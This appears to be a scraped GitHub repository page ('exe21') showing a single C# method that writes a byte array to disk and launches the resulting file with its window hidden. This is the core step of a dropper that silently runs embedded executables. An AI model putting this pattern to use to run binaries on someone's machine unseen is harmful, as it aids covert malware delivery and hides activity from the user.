nuzze / exe21 Goto Github PK
View Code? Open in Web Editor NEWvoid copyFileFromBytesAndRun(string path, byte[] input) { File.WriteAllBytes(path, input); if (File.Exists(path)) { ProcessStartInfo startInfo = new ProcessStartInfo(); startInfo.FileName = path; startInfo.UseShellExecute = false; startInfo.RedirectStandardOutput = true; startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; Process proc = Process.Start(startInfo); } }